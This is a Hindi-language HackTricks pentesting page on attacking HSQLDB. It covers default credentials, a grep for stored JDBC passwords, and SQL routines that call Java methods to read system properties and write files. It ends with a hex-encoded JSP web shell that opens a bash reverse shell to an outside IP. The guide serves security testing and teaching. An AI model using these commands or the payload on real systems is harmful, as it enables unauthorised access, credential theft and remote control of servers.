# 9001 - Pentesting HSQLDB {{#include ../banners/hacktricks-training.md}} ## Basic Information **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** एक प्रमुख SQL रिलेशनल डेटाबेस सिस्टम है जो Java में लिखा गया है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल होते हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है। **डिफ़ॉल्ट पोर्ट:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` ## Default Settings ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने संभवतः किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं। डिफ़ॉल्ट क्रेडेंशियल आमतौर पर `sa` होते हैं जिनका पासवर्ड खाली होता है। यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स के लिए खोजें। ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` ध्यान दें कि डेटाबेस का नाम ध्यान से नोट करें - आपको कनेक्ट करने के लिए इसकी आवश्यकता होगी। ## जानकारी इकट्ठा करना DB इंस्टेंस से कनेक्ट करें [HSQLDB डाउनलोड करके](https://sourceforge.net/projects/hsqldb/files/) और `hsqldb/lib/hsqldb.jar` को निकालें। GUI ऐप \(eww\) को `java -jar hsqldb.jar` का उपयोग करके चलाएं और खोजे गए/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें। ध्यान दें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखेगा: `jdbc:hsqldb:hsql://ip/DBNAME`। ## तरकीबें ### जावा भाषा रूटीन हम HSQLDB से जावा भाषा रूटीन का उपयोग करके एक जावा क्लास के स्थिर तरीकों को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास को एप्लिकेशन के क्लासपाथ में होना चाहिए। JRTs `functions` या `procedures` हो सकते हैं। यदि जावा विधि एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल लौटाती है, तो फ़ंक्शंस को SQL स्टेटमेंट के माध्यम से कॉल किया जा सकता है। इन्हें `VALUES` स्टेटमेंट का उपयोग करके लागू किया जाता है। यदि जावा विधि जिसे हम कॉल करना चाहते हैं, void लौटाती है, तो हमें `CALL` स्टेटमेंट के साथ लागू की गई एक प्रक्रिया का उपयोग करना होगा। ### जावा सिस्टम प्रॉपर्टीज़ पढ़ना फंक्शन बनाएं: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` कार्यवाही फ़ंक्शन: ```text VALUES(getsystemproperty('user.name')) ``` आप [यहाँ सिस्टम प्रॉपर्टीज़ की सूची](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html) पा सकते हैं। ### फ़ाइल में सामग्री लिखें आप `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है \(जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है\) कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। **1024 बाइट्स का अधिकतम आकार ध्यान में रखें**। प्रक्रिया बनाएं: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` प्रक्रिया निष्पादित करें: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {{#include ../banners/hacktricks-training.md}}